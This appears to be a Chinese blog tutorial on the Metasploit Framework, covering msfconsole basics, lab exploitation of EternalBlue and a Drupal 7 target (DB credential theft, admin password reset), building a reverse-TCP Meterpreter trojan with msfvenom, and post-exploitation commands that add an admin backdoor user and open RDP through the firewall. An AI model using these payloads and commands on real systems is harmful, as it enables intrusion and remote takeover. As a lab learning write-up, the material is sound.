MSF工具使用与实战

0 阅读7分钟

声明:本文章仅供学习参考,所有操作展示均在本地搭建的合法合规的靶场环境内完成,不存在任何真实的网络攻击行为,切勿将本文章内的相关技术内容用于未经授权允许的网络攻击,否则后果自负

MSF工具介绍

工具简介

全称Metasploit Framework,是漏洞研究、渗透测试、漏洞验证的一体化平台,

主要有以下五大核心模块:
Auxiliary(辅助模块):漏洞扫描、信息收集、端口扫描、服务探测(无攻击载荷)
Exploits(漏洞利用模块):针对已知漏洞的攻击代码(核心)
Payloads(攻击载荷):漏洞利用成功后执行的代码(如 Meterpreter)
Encoders(编码器):对载荷编码,绕过杀软
Post(后渗透模块):权限维持、信息窃取、内网渗透

核心组件:
msfconsole:MSF 主命令行控制台(最常用)
msfvenom:生成各类木马 / Payload(exe、apk、php 等)
Meterpreter:内存注入式高级 Shell,功能极强、免杀性好

msf基础命令

1. 启动与全局命令

msfconsole          # 启动控制台
help / ?           # 查看帮助
version            # 查看版本
exit / quit        # 退出

2. 模块搜索与加载

search 关键词      # 搜索模块(漏洞名/平台/服务)
  例:search ms17_010
  例:search type:auxiliary portscan

use 模块名         # 加载模块
  例:use auxiliary/scanner/portscan/tcp
  例:use exploit/windows/smb/ms17_010_eternalblue

back               # 退出当前模块
info               # 查看模块详情(作者、漏洞、参数)

3. 模块配置

show options       # 查看必须配置的参数
set 选项名 值      # 设置参数
  例:set RHOSTS 192.168.1.100   # 目标IP
  例:set RHOSTS 192.168.1.0/24  # 网段扫描
  例:set THREADS 50             # 线程数

setg 选项名 值     # 全局设置(所有模块生效)
unset 选项名       # 取消设置
unsetg 选项名      # 取消全局设置

4. 执行扫描 / 攻击

run / exploit      # 运行模块(Aux用run,Exploit用exploit)

5. 数据库与扫描

db_status          # 查看数据库状态
db_nmap            # 集成Nmap扫描(结果入库)
  例:db_nmap -sV 192.168.1.0/24
hosts              # 查看扫描入库的主机
services           # 查看开放端口/服务

MSF靶场实战

ms17-010漏洞扫描(永恒之蓝)

在虚拟机中安装好kali和win7系统,在kali系统终端中获取kali和win7的ip地址,使用nmap扫描存活主机IP或者用ipconfig命令到本机终端执行查看都可以

在kali输入msfconsole启动msf,输入search ms17-010查看漏洞模块

扫描过程:

使用use auxiliary/scanner/smb/smb_ms17_010或者use 3命令

攻击过程:

使用use exploit/windows/smb/ms17_010_eternalblue或者use 0命令

设计攻击载荷

设置攻击机ip和被攻击机ip,run运行

成功运行

显示远程主机系统信息:sysinfo

DC1靶场实战

在vmware虚拟机中安装kali linux系统以及DC1靶场,网络适配器选择桥接模式,以保证二者在同一网络内,DC1是我自己找的靶场部署到本地上的。

在root根权限下使用arp-scan -l,查看网段所有的主机。得到DC1的IP地址172.17.142.142

使用nmap对DC1进行端口扫描,发现DC1的22端口、80端口、111端口是打开的,22端口可以使用爆破、ssh远程连接,80端口可以登录web网页

进入目标网址,通过火狐浏览器插件wappalyzer发现,该网站使用的是Drupal 7的CMS搭建的,接下来启动Metasploit搜索漏洞

使用msfconsole命令启动msf

在msf中搜索drupal 7的漏洞(search drupal 7.x),发现有可以利用的攻击脚本0

使用此脚本(use 0),再使用options查看此参数信息

使用set rhosts 172.17.142.142(DC1的ip),再输入run,即可进入DC1的shell环境。

我们得到的是一个不完整的shell,所以使用python中的pty模块,来反弹一个完整的shell

进入到该用户下后,在目录中找到配置文件并查看

查看settings.txt,发现了数据库的信息

使用用户密码连接数据库mysql -udbuser -pR0ck3t;

在数据库中查找到users表,查找其中内容,在users表中,我们发现有admin用户,但是密码是加盐过的。这里选择修改用户密码来解决。

exit退出mysql,回到/var/www下执行以下代码,生成自己的加盐密码

php scripts/password-hash.sh 123456

再次连接数据库,使用drupaldb数据库,使用updata数据库执行语句将admin的密码设置为刚生成的加盐密码

现在可以使用admin/123456在火狐浏览器登录

成功进入网站

MSF制作木马病毒

木马生成

在终端sudo su命令提权后用msfconsole命令打开MSF软件

使用 msfvenom 生成木马的命令格式为:

msfvenom -p LHOST={攻击机IP} LPORT={攻击机端口} -f {格式} -o {输出文件}

例如:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=6666 -f exe -o shell64.exe

windows/x64/meterpreter/reverse_tcp: Windows 64 位 反向 TCP 木马,这里可以根据实际情况修改

-f exe: 输出 Windows 可执行文件
-o: 保存文件名

msf监听配置

加载监听模块: use exploit/multi/handler

配置 payload: set payload windows/x64/meterpreter/reverse_tcp

这里的载荷要和生成的木马一致

设置 IP 和端口: set LHOST 192.168.1.100  # Kali IP
set LPORT 6666                 # 与木马一致
show options命令可以检查配置                          

启动监听: run或exploit

出现 Started reverse TCP handler 表示监听成功

木马传输与执行

当目标靶机连接上后,这里直接将生成的木马下载到靶机。在现实环境中,当你访问一些非法网址时,或执行一些高风险操作时,你的设备就可能被植入木马,杀毒软件可能无法防御,因为可能木马做了加壳、免杀等无法被识别出。

运行木马文件后Kali 监听端会立即收到会话:

[] Sending stage ... to 192.168.1.101
[
] Meterpreter session 1 opened ...

然后就可以在被监听靶机的终端执行各种命令,例如

修改字体编码为UTF-8(解决乱码):chcp 65001
查看系统信息:systeminfo
查看系统版本:ver
查看当前用户:whoami
显示网络信息:ipconfig
查看网络连接是否正常:ping
列出当前目录下所有文件:dir
进入指定目录:cd
10秒后关机:shutdown-s-t10
新建一个用户hack,密码为123:net user hack 123 /add
删除用户hack:net user hack/del
将普通用户hack提权到管理员:net localgroup administrators hack/add

开启远程桌面:reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD/d 0/f
配置防火墙允许远程:netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow